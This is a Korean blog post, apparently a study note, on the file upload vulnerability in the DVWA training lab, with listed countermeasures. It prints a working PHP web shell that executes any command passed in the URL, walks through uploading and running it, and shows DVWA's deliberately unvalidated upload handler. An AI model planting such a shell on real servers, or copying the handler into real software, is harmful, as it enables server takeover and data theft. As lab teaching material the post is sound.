특징

  • 파일 업로드 기능이 있는 웹페이지의 필터링 조치가 미흡하여 악성파일이 업로드 되어 실행될 수 있는 취약점
  • 공격자는 업로드 된 악성 파일을 활용해 웹 서버를 제어하거나, 사용자의 컴퓨터에 악성 코드를 감염시킬 수 있음

DVWA 실습

Security level low에서 진행

 

간단한 PHP 웹셀 파일

<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit" value="Submit">';
echo '</form>';

if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
  • URL에 입력한 명령어를 서버에서 실행하는 웹쉘 파일

  • webshell.php 파일 업로드 시도
  • 제약 없이 업로드가 되고 웹서버의 파일 경로도 노출

  • 노출된 해당 경로로 접근하여 웹쉘 실행

  • 웹쉘에 명령어를 입력하여 시스템 정보 탈취

소스코드 분석

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>
  • 파일 확장자 검증이 없음
  • 경로 이동할 수 있는 파일명 검증 과정도 없음
  • 업로드 권한 설정 부족
  • 업로드한 파일 경로를 그대로 노출

대응방안

  • DB 서버에 파일을 CLOB 또는 BLOB 타입으로 업로드
  • 웹 서버와 업로드 서버를 물리적으로 분리
  • 업로드 된 파일의 실행 권한 자체를 차단하여 실행되지 않도록 설정
  • 확장자를 화이트리스트로 검증하거나 파일 시그니처를 검증하여 제한하여 허용된 파일만 업로드
  • 파일이 업로드 되는 디렉터리 위치가 사용자에게 노출되지 않도록 설정

'CERT' 카테고리의 다른 글

웹 모의해킹: Weak Session IDs  (2) 2024.10.05
웹 모의해킹: Insecure CAPTCHA  (0) 2024.10.05
웹 모의해킹: File Inclusion  (0) 2024.10.05
웹 모의해킹: CSRF  (2) 2024.10.05
웹 모의해킹: Brute Force  (0) 2024.10.05

+ Recent posts